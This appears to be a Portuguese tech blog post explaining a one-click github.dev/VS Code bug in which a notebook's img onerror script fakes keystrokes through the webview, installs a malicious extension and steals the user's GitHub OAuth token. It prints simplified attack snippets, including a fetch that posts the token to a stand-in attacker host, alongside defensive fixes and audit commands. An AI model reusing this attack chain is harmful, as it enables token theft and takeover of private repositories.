Um Bug no VS Code Que Funciona com 1 Clique
Imagina o seguinte cenário: você recebe um link no Slack do trabalho. Parece um repositório no GitHub. Você clica, o github.dev abre no navegador — aquele editor online que a Microsoft oferece de graça. Talvez um Jupyter Notebook abra automaticamente. Nada parece errado.
Mas nesse exato momento, um script silencioso já está simulando teclas no seu teclado virtual, instalando uma extensão maliciosa, extraindo seu token OAuth do GitHub e enviando para um servidor do atacante. Com esse token, o hacker tem acesso de leitura e escrita a todos os seus repositórios — incluindo os privados.
Não é ficção. No dia 2 de junho de 2026, o pesquisador de segurança Ammar Askar publicou o exploit completo dessa vulnerabilidade zero-day no VS Code. E o detalhe que mais irritou a comunidade: a Microsoft já sabia.
Como o Ataque Funciona (Passo a Passo)
Eu vou quebrar a cadeia de ataque inteira porque é importante que devs entendam exatamente o que acontece. Não é mágica — é engenharia reversa bem feita explorando decisões de design que pareciam inofensivas.
O Ponto de Entrada: github.dev
O github.dev é basicamente o VS Code rodando no navegador. Quando você acessa github.dev/usuario/repo, o editor abre com o código do repositório. O problema é que repositórios podem conter arquivos que o VS Code renderiza automaticamente — como Jupyter Notebooks.
E Jupyter Notebooks podem conter outputs com HTML. Incluindo tags <img> com handlers onerror.
<!-- Dentro de um notebook .ipynb -->
<img src="x" onerror="
// JavaScript arbitrário executa aqui
document.dispatchEvent(new KeyboardEvent('keydown', {
key: 'A', ctrlKey: true, shiftKey: true
}));
">
Esse é o primeiro dominó caindo. O notebook carrega, a imagem falha (propositalmente), e o JavaScript do onerror executa dentro do webview do VS Code.
A Ponte: Keyboard Event Forwarding
Aqui está o coração do bug. O VS Code usa webviews (iframes isolados) para renderizar conteúdo como notebooks, previews de Markdown e outputs de extensões. Em teoria, essas webviews são sandboxed — código malicioso lá dentro não deveria conseguir afetar o editor principal.
Mas o VS Code precisa que atalhos de teclado funcionem mesmo quando o foco está dentro de um webview. Para isso, implementaram um listener:
// Dentro do iframe do webview
contentWindow.addEventListener('keydown', handleInnerKeydown);
function handleInnerKeydown(event) {
// Encaminha o evento para a janela principal via postMessage
parent.postMessage({
type: 'did-keydown',
key: event.key,
ctrlKey: event.ctrlKey,
shiftKey: event.shiftKey,
// ...
}, '*');
}
O problema? O VS Code não diferencia entre um evento de teclado real (gerado pelo usuário físico) e um evento sintético (criado por JavaScript). O KeyboardEvent fabricado pelo script malicioso é encaminhado para a janela principal exatamente como se o usuário tivesse pressionado as teclas.
Isso destrói a fronteira de segurança entre “conteúdo não confiável” (o webview) e “APIs perigosas” (o editor principal).
A Escalada: Instalação de Extensão Maliciosa
Com a capacidade de simular teclas, o atacante monta uma sequência:
Ctrl+Shift+A— Aceita notificações pendentes de instalação de extensão- Uma extensão de workspace (incluída no repositório malicioso) é instalada silenciosamente
- Essa extensão contribui keybindings customizados
Ctrl+F1— Dispara a instalação de uma segunda extensão, esta controlada pelo atacante e hospedada no marketplace- A extensão maliciosa ganha acesso à API de autenticação do VS Code
O Roubo: Token OAuth do GitHub
A extensão instalada agora tem acesso legítimo ao token OAuth que o github.dev usa para autenticar o usuário. E aqui está a parte que realmente assusta: o token não é restrito ao repositório que você abriu.
// Dentro da extensão maliciosa
const session = await vscode.authentication.getSession('github', ['repo'], {
createIfNone: false
});
// session.accessToken → acesso total a TODOS os repos
fetch('https://atacante.com/exfil', {
method: 'POST',
body: JSON.stringify({
token: session.accessToken,
scopes: session.scopes
})
});
O token OAuth concedido ao github.dev tem escopo repo completo — leitura e escrita em todos os repositórios do usuário, incluindo os privados. Se você é maintainer de um projeto open source grande, o atacante acabou de ganhar push access a ele.
O Que a Microsoft Fez (ou Não Fez)
Aqui a história fica mais tensa. Ammar Askar não é um pesquisador desconhecido. Ele já havia reportado uma vulnerabilidade de RCE (execução remota de código) no VS Code anteriormente. Na ocasião, a Microsoft não deu crédito, minimizou a severidade e basicamente ignorou o report.
Dessa vez, Askar optou pela full disclosure — publicou o exploit completo no mesmo dia em que notificou a Microsoft. No blog dele, deixou claro que a decisão veio da frustração com o MSRC (Microsoft Security Response Center):
“Reportei uma RCE completa antes. A Microsoft não atribuiu crédito, classificou como baixa severidade e demorou meses para corrigir. Desta vez escolhi full disclosure.”
A comunidade no Hacker News (onde o post alcançou 485 pontos) reagiu com uma mistura de choque técnico e raiva com a Microsoft. Vários comentários apontaram que o modelo de extensões do VS Code sempre foi uma bomba-relógio de segurança — e que a Microsoft lucra com a conveniência enquanto externaliza o risco para os usuários.
A Raiz do Problema: Webviews São uma Ilusão de Segurança
O bug específico é no forwarding de keyboard events. Mas o problema real é mais profundo.
O VS Code foi construído com Electron, que por si só é um navegador Chromium empacotado. Dentro dele, webviews são iframes com restrições — Content Security Policy, sandbox attributes, cross-origin isolation. Em teoria, tudo bonito.
Na prática, o VS Code precisa que webviews se comuniquem com o host para funcionar. Essa comunicação acontece via postMessage, e é exatamente esse canal que criou a brecha. É o clássico trade-off entre funcionalidade e segurança — e o VS Code escolheu funcionalidade.
| Medida de Segurança | Implementada? | Efetiva? | |
|---|---|---|---|
| ——————— | ————— | ———- | |
CSP com script-src 'none' |
Sim | Parcialmente — não impede eventos sintéticos | |
| DOMPurify sanitization | Sim | Parcialmente — não filtra onerror em todos os contextos |
|
| Iframe sandbox | Sim | Não — o postMessage ponte a barreira |
|
| Validação de eventos sintéticos | Não | N/A | |
| Token com escopo mínimo | Não | N/A |
Os dois “Não” na tabela são exatamente o que transformou um bug de webview em um roubo de credenciais com acesso total.
Quem Está Vulnerável
Vamos ser diretos:
- github.dev (web): Vulnerável. Principal vetor de ataque. Basta clicar num link.
- VS Code Desktop: Vulnerável se você clonar um repositório malicioso que contenha o notebook preparado.
- VS Code no Codespaces: Potencialmente vulnerável, dependendo de como o workspace é configurado.
- Forks e alternativas (VSCodium, Cursor): Precisam ser avaliados individualmente, mas se usam o mesmo engine de webview, provavelmente também são vulneráveis.
Se você é um dev que usa github.dev casualmente — abre links de PRs, revisa código no browser — você é alvo perfeito. Se você é um maintainer de projeto popular com acesso de escrita, o impacto é catastrófico: supply chain attack via push malicioso.
O Que Fazer Agora
Proteção imediata
# 1. Revogue tokens OAuth suspeitos
# GitHub → Settings → Applications → Authorized OAuth Apps
# Revogue qualquer app que você não reconheça
# 2. Verifique atividade recente no GitHub
gh api /user/repos --paginate --jq '.[].full_name' | head -20
gh api /notifications --jq '.[] | .subject.title'
# 3. Habilite notificações de segurança
gh api -X PUT /notifications/threads/ID/subscription
# 4. Limpe dados do github.dev no browser
# Chrome: Settings → Privacy → Site Settings → github.dev → Clear data
Boas práticas para organizações
- Desabilite github.dev via políticas de organização se possível
- Use tokens com escopo mínimo — Personal Access Tokens (fine-grained) em vez de OAuth clássico
- Monitore audit logs do GitHub para acessos suspeitos via API
- Revise extensões instaladas no VS Code Desktop periodicamente
- Nunca abra notebooks de fontes não confiáveis sem revisar o conteúdo raw primeiro
Para maintainers de projetos grandes
# Audite pushes recentes nos seus repositórios
gh api repos/OWNER/REPO/events --jq '.[] | select(.type=="PushEvent") | {actor: .actor.login, date: .created_at, ref: .payload.ref}'
# Verifique se há commits não autorizados
git log --oneline --since="2026-06-01" --format="%h %an %s"
Se você identifica algum push que não reconhece, revogue o token imediatamente e force-push para reverter os commits. Notifique sua equipe.
Por Que o isTrusted Não Salvou Ninguém
Se você mexe com JavaScript no browser, provavelmente está pensando: “mas o DOM tem a propriedade isTrusted que diferencia eventos reais de sintéticos. Por que o VS Code não usa isso?”
Boa pergunta. A resposta é que o VS Code não verifica isTrusted no handler de keyboard events do webview. O código simplesmente lê as propriedades do evento (key, ctrlKey, shiftKey, etc.) e encaminha via postMessage. Em nenhum momento ele checa se o evento foi gerado por um humano ou por um script.
// O que o VS Code faz (simplificado)
function handleKeydown(e) {
parent.postMessage({ type: 'did-keydown', key: e.key, ctrl: e.ctrlKey });
}
// O que deveria fazer
function handleKeydown(e) {
if (!e.isTrusted) return; // Ignora eventos sintéticos
parent.postMessage({ type: 'did-keydown', key: e.key, ctrl: e.ctrlKey });
}
Uma linha. Uma verificação. Teria impedido toda a cadeia de ataque. Mas essa linha não existe no código do VS Code.
E sabe o que é pior? O isTrusted é read-only — JavaScript não consegue falsificar essa propriedade. É uma das poucas garantias reais que o DOM oferece. A Microsoft simplesmente não usou.
Isso levanta uma questão mais ampla sobre como software de grande escala é construído. O VS Code tem milhões de linhas de código, centenas de contribuidores, e uma das maiores bases de usuários do mundo. E uma propriedade de segurança básica do DOM foi ignorada num componente crítico.
O Histórico de Askar com a Microsoft
Para entender por que Ammar Askar escolheu full disclosure, vale conhecer o contexto. Em um report anterior, ele descobriu uma vulnerabilidade de RCE (Remote Code Execution) no VS Code — um bug que permitia executar código arbitrário na máquina do usuário. O tipo de bug que recebe CVE com severidade crítica.
A Microsoft demorou meses para corrigir. Não atribuiu crédito público ao pesquisador. Classificou a severidade como baixa. E quando finalmente publicou um advisory, omitiu detalhes técnicos que teriam ajudado outros pesquisadores a verificar o fix.
Askar documentou toda essa experiência no blog dele. A mensagem ficou clara: o MSRC (Microsoft Security Response Center) trata pesquisadores independentes como incômodo, não como recurso valioso.
Dessa vez, ele notificou a Microsoft no mesmo dia da publicação — mas publicou tudo simultaneamente. No post no Hacker News, a reação da comunidade foi esmagadoramente a favor do pesquisador. Comentários como “se a Microsoft não trata responsible disclosure com respeito, não merece responsible disclosure” receberam centenas de upvotes.
A real é que a Microsoft criou esse problema ela mesma. Quando você desincentiva pesquisadores de segurança a colaborar, eles simplesmente param de colaborar. E os usuários pagam o preço.
O Problema Maior: Supply Chain via IDE
Esse ataque é um lembrete desconfortável de que IDEs são superfícies de ataque enormes. Pensa no que o VS Code tem acesso: seus tokens do GitHub, credenciais do Docker, chaves SSH, variáveis de ambiente com secrets, acesso ao filesystem inteiro.
E não é a primeira vez. Em maio de 2026, uma extensão maliciosa do VS Code (o Nx Console comprometido) causou o roubo de 3.800 repositórios internos do GitHub. Antes disso, em 2025, pesquisadores já haviam demonstrado que extensões populares podiam exfiltrar dados sem que o marketplace detectasse.
O padrão é sempre o mesmo:
- VS Code confia demais nas extensões
- O marketplace não audita extensões com rigor suficiente
- Webviews criam falsa sensação de isolamento
- Tokens OAuth têm escopo absurdamente amplo
- A Microsoft responde devagar (quando responde)
Eu não estou dizendo para abandonar o VS Code — seria impraticável para a maioria dos devs. Mas vale considerar:
- Neovim/Vim para quem quer superfície de ataque mínima
- Zed que tem um modelo de extensões mais restritivo
- JetBrains que não usa webviews da mesma forma
No mínimo, pense no VS Code como o que ele realmente é: um navegador web com superpoderes rodando código de terceiros com acesso às suas credenciais mais sensíveis.
O Que Muda Daqui pra Frente
A Microsoft vai ter que responder. Com 485+ pontos no Hacker News e cobertura em outlets como BleepingComputer e CyberSecurity News, ignorar não é opção.
O fix técnico provavelmente envolve duas coisas:
- Validar a origem de keyboard events — diferenciar eventos reais de sintéticos usando a propriedade
isTrusteddo DOM, que étrueapenas para eventos gerados pelo usuário real - Reduzir o escopo dos tokens OAuth — o github.dev não precisa de acesso de escrita a todos os repos do usuário para funcionar como editor de código
Mas o fix mais importante não é técnico. É cultural. A Microsoft precisa tratar pesquisadores de segurança como aliados, não como inconvenientes. Quando um pesquisador competente opta por full disclosure em vez do processo responsável, o problema não é o pesquisador — é o processo.
A próxima vez que você clicar num link que abre o github.dev, lembre-se: por trás daquele editor bonito e conveniente, suas credenciais estão a um onerror de distância de um atacante. E se a Microsoft não mudar a arquitetura fundamental de como o VS Code lida com conteúdo não confiável, esse tipo de bug vai continuar aparecendo — com vetores cada vez mais criativos.
Fonte de inspiração: 1-Click GitHub Token Stealing via a VSCode Bug — Ammar Askar












